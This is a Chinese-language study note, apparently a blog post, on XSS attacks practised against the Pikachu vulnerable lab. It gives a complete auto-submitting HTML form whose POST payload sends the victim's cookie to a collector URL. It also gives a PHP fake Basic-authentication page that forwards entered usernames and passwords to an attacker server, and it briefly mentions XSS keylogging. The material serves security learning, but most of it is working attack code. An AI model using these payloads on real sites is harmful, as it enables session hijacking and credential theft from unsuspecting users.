继续学习XSS的一些玩法
POST方式下的XSS
攻击思路: 攻击者搭建post提交站点,JS自动提交 受害者访问(受害者在登录状态) 攻击者在平台读到cookie,伪造登录
 攻击者搭建的post站点
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.8.196/pikachu-master/vul/xss/xsspost/pkxss_cookie_result.php"> <!--漏洞网址-->
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.8.196/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
#加载的时候实现自动提交
window.onload = function() {
document.getElementById("postsubmit").click();
#漏网网站
<form method="post" action="http://192.168.8.196/pikachu-master/vul/xss/xsspost/pkxss_cookie_result.php">
提交的参数
name="message" value=
"<script>
document.location = 'http://192.168.8.196/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
获取cookie并发送到接受平台
document.location = 'http://192.168.8.196/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
***需要注意这点站点的地址是否错误 *** 在xss平台上得到了cookie  页面自动进行了跳转 
XSS钓鱼攻击
攻击思路:页面内嵌入攻击代码,受害者访问时,触发恶意代码,恶意代码向攻击者的服务器请求basic认证页面,受害者在这个basic认证处填入账户信息,信息被发送到攻击者的XSS平台 basic代码
<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://192.168.31.34/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
 弹出认证 
 
XSS键盘记录
< script src="…" > < img src="…"> < link src="…"> < iframe src="…"> 不受同源策略限制
     观察数据包情况  
|